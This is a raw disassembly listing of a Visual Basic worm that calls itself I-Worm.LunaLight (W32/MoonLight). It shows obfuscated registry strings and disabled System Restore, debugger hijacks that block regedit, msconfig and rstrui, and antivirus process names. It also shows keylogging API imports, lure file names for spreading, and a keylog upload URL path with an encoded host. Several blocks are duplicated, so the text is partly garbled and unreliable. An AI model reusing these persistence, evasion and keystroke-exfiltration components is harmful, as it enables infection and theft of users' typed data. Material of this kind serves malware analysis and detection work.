004084e4 wstring "ZFO]^H[LUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gefnfg",0
00408550
00408550 0a 00 00 00 ....
00408554
00408554 wstring "Shell",0
00408560
00408560 1c 00 00 00 ....
00408564
00408564 wstring "explorer.exe, ",0
00408582
00408582 00 00 68 00 00 00 ..h...
00408588
00408588 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~z)G]UJ|{{lg}_l{z`fgU^`gmf~z",0
004085f2
004085f2 00 00 08 00 00 00 ......
004085f8
004085f8 wstring "LOAD",0
00408602
00408602 00 00 24 00 00 00 ..$...
00408608
00408608 wstring "\\Explorer\\Advanced",0
0040862e
0040862e 00 00 ..
00408630 16 00 00 00 ....
00408634
00408634 wstring "HideFileExt",0
0040864c
0040864c 0c 00 00 00 ....
00408650
00408650 wstring "Hidden",0
0040865e
0040865e 00 00 ..
00408660 02 00 00 00 ....
00408664
00408664 wstring "R",0
00408668
00408668 02 00 00 00 ....
0040866c
0040866c wstring "S",0
00408670
00408670 1e 00 00 00 ....
00408674
00408674 wstring "ShowSuperHidden",0
00408694
00408694 0e 00 00 00 ....
00408698
00408698 wstring "scrfile",0
004086a8
004086a8 16 00 00 00 ....
004086ac
004086ac wstring "File Folder",0
004086c4
004086c4 0e 00 00 00 ....
004086c8
004086c8 wstring "exefile",0
004086d8
004086d8 30 00 00 00 0...
004086dc
004086dc wstring "SOFTWARE\\Classes\\exefile",0
0040870e
0040870e 00 00 ..
00408710 5c 00 00 00 \...
00408714
00408714 wstring "ZPZ]LDUJ|{{lg}Jfg}{feZl}UZl{\x7f`jlzUZah{lmHjjlzz",0
00408772
00408772 00 00 0a 00 00 00 ......
00408778
00408778 wstring "Start",0
00408784
00408784 4a 00 00 00 J...
00408788
00408788 wstring "ULqyef{l{UHm\x7fhgjlmUOfeml{UZ|yl{A`mmlg",0
004087d4
004087d4 1c 00 00 00 ....
004087d8
004087d8 wstring "\\gjaljblm_he|l",0
004087f6
004087f6 00 00 18 00 00 00 ......
004087fc
004087fc wstring "msconfig.exe",0
00408816
00408816 00 00 10 00 00 00 ......
0040881c
0040881c wstring "debugger",0
0040882e
0040882e 00 00 ..
00408830 02 00 00 00 ....
00408834
00408834 wstring "q",0
00408838
00408838 68 00 00 00 h...
0040883c
0040883c wstring "ZFO]^H[LUYfe`j`lzUD`j{fzfo}U^`gmf~z)G]UZpz}ld[lz}f{l",0
004088a6
004088a6 00 00 1a 00 00 00 ......
004088ac
004088ac wstring "DisableConfig",0
004088c8
004088c8 12 00 00 00 ....
004088cc
004088cc wstring "DisableSR",0
004088e0
004088e0 4a 00 00 00 J...
004088e4
004088e4 wstring "ZPZ]LDUJfg}{feZl}998UJfg}{feUZholKff}",0
00408930
00408930 1c 00 00 00 ....
00408934
00408934 wstring "He}l{gh}lZalee",0
00408952
00408952 00 00 0a 00 00 00 ......
00408958
00408958 wstring "l.exe",0
00408964
00408964 94 00 00 00 ....
00408968
00408968 wstring "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\",0
004089fe
004089fe 00 00 ..
00408a00 0c 00 00 00 ....
00408a04
00408a04 wstring "Date: ",0
00408a12
00408a12 00 00 00 00 00 00 18 00 00 00 ..........
00408a1c
00408a1c wstring "\\notepad.exe",0
00408a36
00408a36 00 00 16 00 00 00 ......
00408a3c
00408a3c wstring "regedit.exe",0
00408a54
00408a54 14 00 00 00 ....
00408a58
00408a58 wstring "rstrui.exe",0
00408a6e
00408a6e 00 00 ..
00408a70 5a 00 00 00 Z...
00408a74
00408a74 wstring "Zfo}~h{lUD`j{fzfo}U^`gmf~zUJ|{{lg}_l{z`fgU{|g",0
00408ad0
00408ad0 0a 00 00 00 ....
00408ad4
00408ad4 wstring "avgnt",0
00408ae0
00408ae0 14 00 00 00 ....
00408ae4
00408ae4 wstring "drv_st_key",0
00408afa
00408afa 00 00 18 00 00 00 ......
00408b00
00408b00 wstring "gf{dhgVshgmh",0
00408b1a
00408b1a 00 00 18 00 00 00 ......
00408b20
00408b20 wstring "gf{dhg)shgmh",0
00408b3a
00408b3a 00 00 0a 00 00 00 ......
00408b40
00408b40 wstring "DZDZN",0
00408b4c
00408b4c 08 00 00 00 ....
00408b50
00408b50 wstring "^f{m",0
00408b5a
00408b5a 00 00 0c 00 00 00 ......
00408b60
00408b60 wstring "^`ghdy",0
00408b6e
00408b6e 00 00 ..
00408b70 0c 00 00 00 ....
00408b74
00408b74 wstring "M{`\x7fl{",0
00408b82
00408b82 00 00 26 00 00 00 ..&...
00408b88
00408b88 wstring "^`g\\ymh}lZ|yl{\x7f`zf{",0
00408bb0
00408bb0 08 00 00 00 ....
00408bb4
00408bb4 wstring "]hzb",0
00408bbe
00408bbe 00 00 ..
00408bc0 08 00 00 00 ....
00408bc4
00408bc4 wstring "mhnf",0
00408bce
00408bce 00 00 ..
00408bd0 02 00 00 00 ....
00408bd4
00408bd4 wstring "Q",0
00408bd8
00408bd8 20 00 00 00 ...
00408bdc
00408bdc wstring "J|lQ==Vz}`eVal{l",0
00408bfe
00408bfe 00 00 ..
00408c00 1c 00 00 00 ....
00408c04
00408c04 wstring "H|}fZ|yl{\x7f`zf{",0
00408c22
00408c22 00 00 1c 00 00 00 ......
00408c28
00408c28 wstring "SMA_nya_Artika",0
00408c46
00408c46 00 00 1e 00 00 00 ......
00408c4c
00408c4c wstring "Putri_Indonesia",0
00408c6c
00408c6c 12 00 00 00 ....
00408c70
00408c70 wstring "BabelPath",0
00408c84
00408c84 1a 00 00 00 ....
00408c88
00408c88 wstring "Alumni Smansa",0
00408ca4
00408ca4 12 00 00 00 ....
00408ca8
00408ca8 wstring "ViriSetup",0
00408cbc
00408cbc 26 00 00 00 &...
00408cc0
00408cc0 wstring "SMAN1_Pangkalpinang",0
00408ce8
00408ce8 18 00 00 00 ....
00408cec
00408cec wstring "Putri_Bangka",0
00408d06
00408d06 00 00 0e 00 00 00 ......
00408d0c
00408d0c wstring "SysYuni",0
00408d1c
00408d1c 0e 00 00 00 ....
00408d20
00408d20 wstring "SysDiaz",0
00408d30
00408d30 0c 00 00 00 ....
00408d34
00408d34 wstring "SysRia",0
00408d42
00408d42 00 00 0a 00 00 00 ......
00408d48
00408d48 wstring "Pluto",0
00408d54
00408d54 0e 00 00 00 ....
00408d58
00408d58 wstring "DllHost",0
00408d68
00408d68 1a 00 00 00 ....
00408d6c
00408d6c wstring "SaTRio ADie X",0
00408d88
00408d88 02 00 00 00 ....
00408d8c
00408d8c wstring "p",0
00408d90
00408d90 1a 00 00 00 ....
00408d94
00408d94 wstring "Tok-Cirrhatus",0
00408db0
00408db0 1a 00 00 00 ....
00408db4
00408db4 wstring "AllMyBallance",0
00408dd0
00408dd0 1e 00 00 00 ....
00408dd4
00408dd4 wstring "MomentEverComes",0
00408df4
00408df4 1a 00 00 00 ....
00408df8
00408df8 wstring "TryingToSpeak",0
00408e14
00408e14 1c 00 00 00 ....
00408e18
00408e18 wstring "YourUnintended",0
00408e36
00408e36 00 00 1c 00 00 00 ......
00408e3c
00408e3c wstring "YourUnintendes",0
00408e5a
00408e5a 00 00 12 00 00 00 ......
00408e60
00408e60 wstring "lexplorer",0
00408e74
00408e74 0e 00 00 00 ....
00408e78
00408e78 wstring "dkernel",0
00408e88
00408e88 1c 00 00 00 ....
00408e8c
00408e8c wstring "Bron-Spizaetus",0
00408eaa
00408eaa 00 00 1c 00 00 00 ......
00408eb0
00408eb0 wstring "ADie suka kamu",0
00408ece
00408ece 00 00 ..
00408ed0 0c 00 00 00 ....
00408ed4
00408ed4 wstring "winfix",0
00408ee2
00408ee2 00 00 0e 00 00 00 ......
00408ee8
00408ee8 wstring "templog",0
00408ef8
00408ef8 0e 00 00 00 ....
00408efc
00408efc wstring "service",0
00408f0c
00408f0c 10 00 00 00 ....
00408f10
00408f10 wstring "Grogotix",0
00408f22
00408f22 00 00 12 00 00 00 ......
00408f28
00408f28 wstring "\\windows*",0
00408f3c
00408f3c 0e 00 00 00 ....
00408f40
00408f40 wstring "</head>",0
00408f50
00408f50 1e 00 00 00 ....
00408f54
00408f54 wstring "\\ShellNew\\*.exe",0
00408f74
00408f74 0c 00 00 00 ....
00408f78
00408f78 wstring "\\*.exe",0
00408f86
00408f86 00 00 0c 00 00 00 ......
00408f8c
00408f8c wstring "\\*.vbs",0
00408f9a
00408f9a 00 00 18 00 00 00 ......
00408fa0
00408fa0 wstring "\\MyHeart.exe",0
00408fba
00408fba 00 00 2c 00 00 00 ..,...
00408fc0
00408fc0 wstring "\\KesenjanganSosial.exe",0
00408fee
00408fee 00 00 ..
00408ff0 1e 00 00 00 ....
00408ff4
00408ff4 wstring "\\FirstLove.exe*",0
00409014
00409014 18 00 00 00 ....
00409018
00409018 wstring "\\eksplorasi*",0
00409032
00409032 00 00 16 00 00 00 ......
00409038
00409038 wstring "\\CintaButa*",0
00409050
00409050 0c 00 00 00 ....
00409054
00409054 wstring "\\*.pif",0
00409062
00409062 00 00 14 00 00 00 ......
00409068
00409068 wstring "\\Romantic*",0
0040907e
0040907e 00 00 ..
00409080 34 00 00 00 4...
00409084
00409084 wstring "Zj{`y}`gn'O`elZpz}ldFkclj}",0
004090ba
004090ba 00 00 1a 00 00 00 ......
004090c0
004090c0 wstring "\\msvbvm60.dll",0
004090dc
004090dc 02 00 00 00 ....
004090e0
004090e0 wstring "P",0
004090e4
004090e4 28 00 00 00 (...
004090e8
004090e8 wstring "Uzpz}ldUdz\x7fk\x7fd?9'mee",0
00409112
00409112 00 00 1a 00 00 00 ......
00409118
00409118 wstring "UDZ^@GZJB'fjq",0
00409134
00409134 04 00 00 00 ....
00409138
00409138 wstring "nn",0
0040913e
0040913e 00 00 ..
00409140 04 00 00 00 ....
00409144
00409144 wstring "HH",0
0040914a
0040914a 00 00 ..
0040914c
0040914c struct VBDeclareNameLength
0040914c cbName int 10
00409150
00409150 string "winmm.dll",0
0040915a
0040915a 00 00 ..
0040915c
0040915c struct VBDeclareNameLength
0040915c cbName int 11
00409160
00409160 string "mciExecute",0
0040916b
0040916b 00 .
0040916c
0040916c struct DeclareInfo
0040916c lpszLibraryName uint32 0x409150
00409170 lpszFunctionName uint32 0x409160
00409174 dwFlags uint32 0x00040000
00409178 lpCache uint32 0x41bfb0
0040917c dwReserved uint32 0x00000000
00409180
00409180 00 00 00 00 ....
00409184
00409184fn_409184:
00409184mov eax, [0x41bfb8]
00409189or eax, eax
0040918bje 0x40918f
0040918djmp eax
0040918f
0040918floc_40918f:
0040918fpush 0x40916c
00409194mov eax, 0x4010e0
00409199call eax
0040919bjmp eax
00409184
00409184fn_409184:
00409184mov eax, [0x41bfb8]
00409189or eax, eax
0040918bje 0x40918f
0040918djmp eax
0040918f
0040918floc_40918f:
0040918fpush 0x40916c
00409194mov eax, 0x4010e0
00409199call eax
0040919bjmp eax
00409184
0040919d
0040919d 00 00 00 ...
004091a0
004091a0 struct VBDeclareNameLength
004091a0 cbName int 15
004091a4
004091a4 string "mciSendStringA",0
004091b3
004091b3 00 .
004091b4
004091b4 struct DeclareInfo
004091b4 lpszLibraryName uint32 0x409150
004091b8 lpszFunctionName uint32 0x4091a4
004091bc dwFlags uint32 0x00040000
004091c0 lpCache uint32 0x41bfbc
004091c4 dwReserved uint32 0x00000000
004091c8
004091c8 00 00 00 00 ....
0040919d 00 00 00 ...
004091a0
004091a0 struct VBDeclareNameLength
004091a0 cbName int 15
004091a4
004091a4 string "mciSendStringA",0
004091b3
004091b3 00 .
004091b4
004091b4 struct DeclareInfo
004091b4 lpszLibraryName uint32 0x409150
004091b8 lpszFunctionName uint32 0x4091a4
004091bc dwFlags uint32 0x00040000
004091c0 lpCache uint32 0x41bfbc
004091c4 dwReserved uint32 0x00000000
004091c8
004091c8 00 00 00 00 ....
004091cc
004091ccfn_4091cc:
004091ccmov eax, [0x41bfc4]
004091d1or eax, eax
004091d3je 0x4091d7
004091d5jmp eax
004091d7
004091d7loc_4091d7:
004091d7push 0x4091b4
004091dcmov eax, 0x4010e0
004091e1call eax
004091e3jmp eax
004091cc
004091ccfn_4091cc:
004091ccmov eax, [0x41bfc4]
004091d1or eax, eax
004091d3je 0x4091d7
004091d5jmp eax
004091d7
004091d7loc_4091d7:
004091d7push 0x4091b4
004091dcmov eax, 0x4010e0
004091e1call eax
004091e3jmp eax
004091cc
004091e5
004091e5 00 00 00 20 00 00 00 ... ...
004091ec
004091ec wstring "ThunderRT6FormDC",0
0040920e
0040920e 00 00 ..
00409210 0c 00 00 00 ....
00409214
00409214 wstring "TForm1",0
00409222
00409222 00 00 ..
00409224
00409224 struct VBDeclareNameLength
00409224 cbName int 23
00409228
00409228 string "RegisterServiceProcess",0
0040923f
0040923f 00 .
00409240 00 00 00 00 1c 00 00 00 ........
00409248
00409248 wstring "\\MooNlight.txt",0
00409266
00409266 00 00 16 00 00 00 ......
0040926c
0040926c wstring "[Lunalight]",0
00409284
00409284 04 00 00 00 01 00 88 00 58 00 00 00 ........X...
00409290
00409290 wstring "I-WorM.LunaLIGHT.b Aliase W32/MoonLight.P@mm",0
004092ea
004092ea 00 00 28 00 00 00 ..(...
004092f0
004092f0 wstring "Copyleft @ Devil.inc",0
0040931a
0040931a 00 00 1c 00 00 00 ......
00409320
00409320 wstring "www.vaksin.com",0
0040933e
0040933e 00 00 ..
00409340 1a 00 00 00 ....
00409344
00409344 wstring "www.bsi.ac.id",0
00409360
00409360 struct VBDeclareNameLength
00409360 cbName int 17
00409364
00409364 string "GetAsyncKeyState",0
00409375
00409375 00 00 00 ...
00409378
00409378 struct DeclareInfo
00409378 lpszLibraryName uint32 0x406058
0040937c lpszFunctionName uint32 0x409364
00409380 dwFlags uint32 0x00040000
00409384 lpCache uint32 0x41bfc8
00409388 dwReserved uint32 0x00000000
0040938c
0040938c 00 00 00 00 ....
004091e5 00 00 00 20 00 00 00 ... ...
004091ec
004091ec wstring "ThunderRT6FormDC",0
0040920e
0040920e 00 00 ..
00409210 0c 00 00 00 ....
00409214
00409214 wstring "TForm1",0
00409222
00409222 00 00 ..
00409224
00409224 struct VBDeclareNameLength
00409224 cbName int 23
00409228
00409228 string "RegisterServiceProcess",0
0040923f
0040923f 00 .
00409240 00 00 00 00 1c 00 00 00 ........
00409248
00409248 wstring "\\MooNlight.txt",0
00409266
00409266 00 00 16 00 00 00 ......
0040926c
0040926c wstring "[Lunalight]",0
00409284
00409284 04 00 00 00 01 00 88 00 58 00 00 00 ........X...
00409290
00409290 wstring "I-WorM.LunaLIGHT.b Aliase W32/MoonLight.P@mm",0
004092ea
004092ea 00 00 28 00 00 00 ..(...
004092f0
004092f0 wstring "Copyleft @ Devil.inc",0
0040931a
0040931a 00 00 1c 00 00 00 ......
00409320
00409320 wstring "www.vaksin.com",0
0040933e
0040933e 00 00 ..
00409340 1a 00 00 00 ....
00409344
00409344 wstring "www.bsi.ac.id",0
00409360
00409360 struct VBDeclareNameLength
00409360 cbName int 17
00409364
00409364 string "GetAsyncKeyState",0
00409375
00409375 00 00 00 ...
00409378
00409378 struct DeclareInfo
00409378 lpszLibraryName uint32 0x406058
0040937c lpszFunctionName uint32 0x409364
00409380 dwFlags uint32 0x00040000
00409384 lpCache uint32 0x41bfc8
00409388 dwReserved uint32 0x00000000
0040938c
0040938c 00 00 00 00 ....
00409390
00409390fn_409390:
00409390mov eax, [0x41bfd0]
00409395or eax, eax
00409397je 0x40939b
00409399jmp eax
0040939b
0040939bloc_40939b:
0040939bpush 0x409378
004093a0mov eax, 0x4010e0
004093a5call eax
004093a7jmp eax
00409390
00409390fn_409390:
00409390mov eax, [0x41bfd0]
00409395or eax, eax
00409397je 0x40939b
00409399jmp eax
0040939b
0040939bloc_40939b:
0040939bpush 0x409378
004093a0mov eax, 0x4010e0
004093a5call eax
004093a7jmp eax
00409390
004093a9
004093a9 00 00 00 ...
004093ac
004093ac struct VBDeclareNameLength
004093ac cbName int 12
004093b0
004093b0 string "GetKeyState",0
004093bc
004093bc struct DeclareInfo
004093bc lpszLibraryName uint32 0x406058
004093c0 lpszFunctionName uint32 0x4093b0
004093c4 dwFlags uint32 0x00040000
004093c8 lpCache uint32 0x41bfd4
004093cc dwReserved uint32 0x00000000
004093d0
004093d0 00 00 00 00 ....
004093a9 00 00 00 ...
004093ac
004093ac struct VBDeclareNameLength
004093ac cbName int 12
004093b0
004093b0 string "GetKeyState",0
004093bc
004093bc struct DeclareInfo
004093bc lpszLibraryName uint32 0x406058
004093c0 lpszFunctionName uint32 0x4093b0
004093c4 dwFlags uint32 0x00040000
004093c8 lpCache uint32 0x41bfd4
004093cc dwReserved uint32 0x00000000
004093d0
004093d0 00 00 00 00 ....
004093d4
004093d4fn_4093d4:
004093d4mov eax, [0x41bfdc]
004093d9or eax, eax
004093dbje 0x4093df
004093ddjmp eax
004093df
004093dfloc_4093df:
004093dfpush 0x4093bc
004093e4mov eax, 0x4010e0
004093e9call eax
004093ebjmp eax
004093d4
004093d4fn_4093d4:
004093d4mov eax, [0x41bfdc]
004093d9or eax, eax
004093dbje 0x4093df
004093ddjmp eax
004093df
004093dfloc_4093df:
004093dfpush 0x4093bc
004093e4mov eax, 0x4010e0
004093e9call eax
004093ebjmp eax
004093d4
004093ed
004093ed 00 00 00 ...
004093f0
004093f0 struct VBDeclareNameLength
004093f0 cbName int 13
004093f4
004093f4 string "Kernel32.dll",0
00409401
00409401 00 00 00 06 00 00 00 .......
00409408
00409408 wstring "MMM",0
00409410
00409410 struct DeclareInfo
00409410 lpszLibraryName uint32 0x4093f4
00409414 lpszFunctionName uint32 0x409228
00409418 dwFlags uint32 0x00040000
0040941c lpCache uint32 0x41bfe0
00409420 dwReserved uint32 0x00000000
00409424
00409424 00 00 00 00 ....
004093ed 00 00 00 ...
004093f0
004093f0 struct VBDeclareNameLength
004093f0 cbName int 13
004093f4
004093f4 string "Kernel32.dll",0
00409401
00409401 00 00 00 06 00 00 00 .......
00409408
00409408 wstring "MMM",0
00409410
00409410 struct DeclareInfo
00409410 lpszLibraryName uint32 0x4093f4
00409414 lpszFunctionName uint32 0x409228
00409418 dwFlags uint32 0x00040000
0040941c lpCache uint32 0x41bfe0
00409420 dwReserved uint32 0x00000000
00409424
00409424 00 00 00 00 ....
00409428
00409428fn_409428:
00409428mov eax, [0x41bfe8]
0040942dor eax, eax
0040942fje 0x409433
00409431jmp eax
00409433
00409433loc_409433:
00409433push 0x409410
00409438mov eax, 0x4010e0
0040943dcall eax
0040943fjmp eax
00409428
00409428fn_409428:
00409428mov eax, [0x41bfe8]
0040942dor eax, eax
0040942fje 0x409433
00409431jmp eax
00409433
00409433loc_409433:
00409433push 0x409410
00409438mov eax, 0x4010e0
0040943dcall eax
0040943fjmp eax
00409428
00409441
00409441 00 00 00 0c 00 0c 00 00 00 00 00 00 00 00 00 ...............
00409450 2c 00 00 00 ,...
00409454
00409454 wstring "http://www.google.com/",0
00409482
00409482 00 00 0e 00 00 00 ......
00409488
00409488 wstring "http://",0
00409498
00409498 22 00 00 00 "...
0040949c
0040949c wstring "pfzlo'gl}ohz}'f{n",0
004094c0
004094c0 40 00 00 00 @...
004094c4
004094c4 wstring "/testms.php?mod=save&bkd=0&klog=",0
00409506
00409506 00 00 04 00 00 00 ......
0040950c
0040950c wstring "\r\n",0
00409512
00409512 00 00 06 00 00 00 ......
00409518
00409518 wstring "ZIP",0
00409520
00409520 1c 00 00 00 ....
00409524
00409524 wstring "\\moonlight.dll",0
00409542
00409542 00 00 08 00 00 00 ......
00409548
00409548 wstring "MIDI",0
00409552
00409552 00 00 28 00 00 00 ..(...
00409558
00409558 wstring "\\onceinabluemoon.mid",0
00409441 00 00 00 0c 00 0c 00 00 00 00 00 00 00 00 00 ...............
00409450 2c 00 00 00 ,...
00409454
00409454 wstring "http://www.google.com/",0
00409482
00409482 00 00 0e 00 00 00 ......
00409488
00409488 wstring "http://",0
00409498
00409498 22 00 00 00 "...
0040949c
0040949c wstring "pfzlo'gl}ohz}'f{n",0
004094c0
004094c0 40 00 00 00 @...
004094c4
004094c4 wstring "/testms.php?mod=save&bkd=0&klog=",0
00409506
00409506 00 00 04 00 00 00 ......
0040950c
0040950c wstring "\r\n",0
00409512
00409512 00 00 06 00 00 00 ......
00409518
00409518 wstring "ZIP",0
00409520
00409520 1c 00 00 00 ....
00409524
00409524 wstring "\\moonlight.dll",0
00409542
00409542 00 00 08 00 00 00 ......
00409548
00409548 wstring "MIDI",0
00409552
00409552 00 00 28 00 00 00 ..(...
00409558
00409558 wstring "\\onceinabluemoon.mid",0
Loading..